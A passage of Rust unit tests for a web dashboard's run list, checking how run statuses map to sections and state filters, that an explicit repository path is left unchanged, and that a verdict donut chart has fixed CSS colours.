14982 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14983 let shapes_body_start =
14984 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14985 let shapes_close = APP_JS[shapes_body_start..]
14986 .find("].map(")
14987 .expect("the shape list is closed by its done-computing .map(...)")
14988 + shapes_body_start;
14989 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14990
14991 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14992 for entry in shapes_src.split('{').skip(1) {
14993 let waiting = entry.contains("waiting: true");
14994 let dead = entry.contains("live: \"dead\"");
14995 let status_at =
14996 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14997 let status_end = entry[status_at..]
14998 .find('"')
14999 .expect("the status string is closed")
15000 + status_at;
15001 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15002 }
15003 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15004
15005 let done_rule_marker = "done: !";
15009 let done_rule_at = APP_JS[shapes_close..]
15010 .find(done_rule_marker)
15011 .expect("the done rule follows the shape list")
15012 + shapes_close
15013 + done_rule_marker.len();
15014 let includes_at = APP_JS[done_rule_at..]
15015 .find(".includes(shape.status)")
15016 .expect("the done rule ends in .includes(shape.status)")
15017 + done_rule_at;
15018 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15019 .trim()
15020 .trim_start_matches('[')
15021 .trim_end_matches(']')
15022 .split(',')
15023 .map(|s| s.trim().trim_matches('"'))
15024 .filter(|s| !s.is_empty())
15025 .collect();
15026
15027 let shapes: Vec<(bool, String, bool, bool)> = shapes
15028 .into_iter()
15029 .map(|(waiting, status, dead)| {
15030 let done = !not_done.contains(&status.as_str());
15031 (waiting, status, dead, done)
15032 })
15033 .collect();
15034
15035 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15039 if waiting {
15040 return "waiting";
15041 }
15042 if dead
15043 && !matches!(
15044 status,
15045 "merged"
15046 | "ready"
15047 | "stalled"
15048 | "blocked"
15049 | "failed"
15050 | "verified_noop"
15051 | "superseded"
15052 | "already_in_base"
15053 )
15054 {
15055 return "stale";
15056 }
15057 match status {
15058 "merged" | "ready" => "landed",
15059 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15060 | "already_in_base" => "ended",
15061 _ => "flight",
15062 }
15063 }
15064
15065 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15068 match filter_key {
15069 "active" => !done,
15070 "flight" => !done && !waiting && !dead,
15071 "stale" => !done && !waiting && dead,
15072 "waiting" => waiting,
15073 "done" => done,
15074 "all" => true,
15075 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15076 }
15077 }
15078
15079 let compatible = |section: &str, filter_key: &str| {
15080 shapes.iter().any(|(waiting, status, dead, done)| {
15081 run_section(*waiting, status, *dead) == section
15082 && filter_matches(filter_key, *waiting, *dead, *done)
15083 })
15084 };
15085
15086 let expected = [
15091 ("waiting", [true, false, false, true, true, true]),
15092 ("stale", [true, false, true, false, false, true]),
15093 ("flight", [true, true, false, false, false, true]),
15094 ("landed", [false, false, false, false, true, true]),
15095 ("ended", [false, false, false, false, true, true]),
15096 ];
15097 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15098
15099 for (section, wants) in expected {
15100 for (filter_key, want) in filter_keys.iter().zip(wants) {
15101 assert_eq!(
15102 compatible(section, filter_key),
15103 want,
15104 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15105 );
15106 }
15107 }
15108
15109 assert!(
15112 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15113 );
15114 assert!(APP_JS.contains(
15115 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15116 ));
15117 assert!(APP_JS.contains(
15118 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15119 ));
15120 }
15121
15122 #[tokio::test]
15123 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15124 let dir = tempfile::tempdir().expect("tempdir");
15128 let explicit = dir.path().join("not-a-checkout");
15129 std::fs::create_dir_all(&explicit).expect("create dir");
15130 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15131
15132 let missing = dir.path().join("does-not-exist-at-all");
15133 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15134 }
15135
15136 #[test]
15137 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15138 assert!(APP_JS.contains("function statsDonutArcs"));
15139 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15140 assert!(APP_JS.contains("function statusInBucket"));
15142 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15143 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15144 let buckets = [
15145 "merged",
15146 "ready",
15147 "in_progress",
15148 "blocked",
15149 "failed",
15150 "verified_noop",
15151 "superseded",
15152 "stalled",
15153 ];
15154 for key in buckets {
15155 let var = format!("--verdict-{key}:");
15156 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15158 assert!(
15159 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15160 "{key}"
15161 );
15162 }
15163 }
15164}